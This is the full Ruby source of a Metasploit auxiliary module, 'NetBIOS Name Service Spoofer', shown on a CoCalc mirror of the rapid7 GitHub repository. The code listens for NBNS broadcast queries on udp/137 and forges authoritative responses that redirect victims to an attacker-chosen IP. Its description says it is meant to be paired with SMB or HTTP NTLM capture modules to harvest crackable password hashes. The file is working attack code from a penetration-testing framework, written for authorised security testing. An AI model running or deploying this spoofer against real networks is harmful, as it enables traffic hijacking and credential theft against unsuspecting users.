Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/nbns/nbns_response.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Capture
9
10
attr_accessor :sock, :thread
11
12
def initialize
13
super(
14
'Name' => 'NetBIOS Name Service Spoofer',
15
'Description' => %q{
16
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
17
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
18
machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
19
auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable
20
hashes on common networks.
21
22
This module must be run as root and will bind to udp/137 on all interfaces.
23
},
24
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
28
],
29
'Actions' => [
30
[ 'Service', { 'Description' => 'Run NBNS spoofing service' } ]
31
],
32
'PassiveActions' => [
33
'Service'
34
],
35
'DefaultAction' => 'Service',
36
'Notes' => {
37
'Stability' => [SERVICE_RESOURCE_LOSS],
38
'SideEffects' => [IOC_IN_LOGS],
39
'Reliability' => []
40
}
41
)
42
43
register_options([
44
OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '127.0.0.1']),
45
OptRegexp.new('REGEX', [ true, 'Regex applied to the NB Name to determine if spoofed reply is sent', '.*']),
46
])
47
48
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
49
self.thread = nil
50
self.sock = nil
51
end
52
53
def dispatch_request(packet, rhost, src_port)
54
rhost = ::IPAddr.new(rhost)
55
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
56
# addr like "::ffff:192.168.0.1" when the interface we're listening
57
# on has an IPv6 address. Convert it to just the v4 addr
58
if rhost.ipv4_mapped?
59
rhost = rhost.native
60
end
61
62
# Convert to string
63
rhost = rhost.to_s
64
65
spoof = ::IPAddr.new(datastore['SPOOFIP'])
66
67
return if packet.empty?
68
69
nbnsq_transid = packet[0..1]
70
nbnsq_flags = packet[2..3]
71
nbnsq_questions = packet[4..5]
72
nbnsq_answerrr = packet[6..7]
73
nbnsq_authorityrr = packet[8..9]
74
nbnsq_additionalrr = packet[10..11]
75
nbnsq_name = packet[12..45]
76
decoded = ''
77
nbnsq_name.slice(1..-2).each_byte do |c|
78
decoded << (c - 65).to_s(16).to_s
79
end
80
nbnsq_decodedname = [decoded].pack('H*').to_s.strip
81
nbnsq_type = packet[46..47]
82
nbnsq_class = packet[48..49]
83
84
return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i
85
86
print_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
87
88
vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
89
vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
90
vprint_status("questions: #{nbnsq_questions.unpack('n')}")
91
vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
92
vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
93
vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
94
vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
95
vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
96
vprint_status("decoded: #{decoded}")
97
vprint_status("decoded name: #{nbnsq_decodedname}")
98
vprint_status("type: #{nbnsq_type.unpack('n')}")
99
vprint_status("class: #{nbnsq_class.unpack('n')}")
100
101
# time to build a response packet - Oh YEAH!
102
response = nbnsq_transid +
103
"\x85\x00" + # Flags = response + authoritative + recursion desired +
104
"\x00\x00" + # Questions = 0
105
"\x00\x01" + # Answer RRs = 1
106
"\x00\x00" + # Authority RRs = 0
107
"\x00\x00" + # Additional RRs = 0
108
nbnsq_name + # original query name
109
nbnsq_type + # Type = NB ...whatever that means
110
nbnsq_class+ # Class = IN
111
"\x00\x04\x93\xe0" + # TTL = a long ass time
112
"\x00\x06" + # Datalength = 6
113
"\x00\x00" + # Flags B-node, unique = whatever that means
114
spoof.hton
115
116
pkt = PacketFu::UDPPacket.new
117
pkt.ip_saddr = Rex::Socket.source_address(rhost)
118
pkt.ip_daddr = rhost
119
pkt.ip_ttl = 255
120
pkt.udp_sport = 137
121
pkt.udp_dport = src_port
122
pkt.payload = response
123
pkt.recalc
124
125
capture_sendto(pkt, rhost)
126
end
127
128
def monitor_socket
129
loop do
130
rds = [sock]
131
wds = []
132
eds = [sock]
133
134
r, = ::IO.select(rds, wds, eds, 0.25)
135
if !r.nil? && (r[0] == sock)
136
packet, host, port = sock.recvfrom(65535)
137
dispatch_request(packet, host, port)
138
end
139
end
140
end
141
142
def run
143
check_pcaprub_loaded
144
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
145
146
# Avoid receiving extraneous traffic on our send socket
147
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
148
149
self.sock = Rex::Socket.create_udp(
150
'LocalHost' => '0.0.0.0',
151
'LocalPort' => 137,
152
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
153
)
154
add_socket(sock)
155
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
156
157
self.thread = Rex::ThreadFactory.spawn('NBNSServerMonitor', false) do
158
monitor_socket
159
rescue ::Interrupt
160
raise $ERROR_INFO
161
rescue StandardError
162
print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}")
163
end
164
165
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")
166
167
thread.join
168
print_status('NBNS Monitor thread exited...')
169
end
170
171
def cleanup
172
if thread && thread.alive?
173
thread.kill
174
self.thread = nil
175
end
176
sock.close
177
close_pcap
178
end
179
end
180
181